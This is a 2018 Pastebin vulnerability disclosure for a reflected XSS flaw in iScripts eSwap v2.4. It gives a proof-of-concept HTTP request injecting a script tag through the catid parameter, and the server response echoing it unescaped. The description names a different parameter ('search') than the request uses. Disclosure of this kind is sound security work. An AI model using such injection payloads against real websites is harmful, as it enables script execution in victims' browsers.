ManhNho

CVE-2018-10135

Apr 16th, 2018
1,146
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Exploit title: iScripts eSwap v2.4 - Reflected XSS User Panel
  2. # Date: 16/04/2018
  3. # Exploit Author: ManhNho
  4. # Vendor Homepage: https://www.iscripts.com
  5. # Software Link: https://www.iscripts.com/eswap
  6. # Demo Link: https://www.demo.iscripts.com/eswap/demo//index.php
  7. # Version: 2.4
  8. # CVE: Pending...
  9. # Tested on: Windows 10 / Kali Linux
  10. # Category: Webapps
  11.  
  12.  
  13. #1. Description
  14. -----------------------------------------------------
  15. iScripts eSwap v2.4 has Reflected XSS via the "catwiseproducts.php" function "search" parameter in User Panel.
  16.  
  17. #2. PoC
  18. -----------------------------------------------------
  19. Request:
  20.  
  21. GET /eswap/demo//catwiseproducts.php?catid=%22%3E%3Cscript%3Ealert(%271%27)%3C/script%3E HTTP/1.1
  22. Host: www.demo.iscripts.com
  23. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
  24. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  25. Accept-Language: en-GB,en;q=0.5
  26. Accept-Encoding: gzip, deflate
  27. Cookie: __utma=227100805.298811387.1522637403.1523506103.1523861118.10; __utmz=227100805.1522637403.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); messagesUtk=9ae2fcc5306f4d9c8d433f0f58efb968; __utma=129714457.1603653646.1523416273.1523433224.1523861782.3; __utmz=129714457.1523433224.2.2.utmcsr=iscripts.com|utmccn=(referral)|utmcmd=referral|utmcct=/supportdesk/demo.php; __utmb=227100805; __utmc=227100805; hs-messages-is-open=false; PHPSESSID=54e6027b90654e06b5e907e34b24361e; __utmb=129714457.3.10.1523861782; __utmc=129714457
  28. Connection: close
  29. Upgrade-Insecure-Requests: 1
  30. Cache-Control: max-age=0
  31.  
  32. Response:
  33.  
  34. HTTP/1.1 200 OK
  35. Date: Mon, 16 Apr 2018 07:08:49 GMT
  36. Server: Apache
  37. Expires: Thu, 19 Nov 1981 08:52:00 GMT
  38. Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  39. Pragma: no-cache
  40. Connection: close
  41. Content-Type: text/html
  42. Content-Length: 30459
  43. ...
  44. action="catwiseproducts.php" method="POST" role="form">
  45. <input name="catid" type="hidden" id="catid" VALUE=""><script>alert('1')</script>">
  46. <input type="hidden" name="cmbItemType" id="cmbItemType" value="">
  47. ...
RAW Paste Data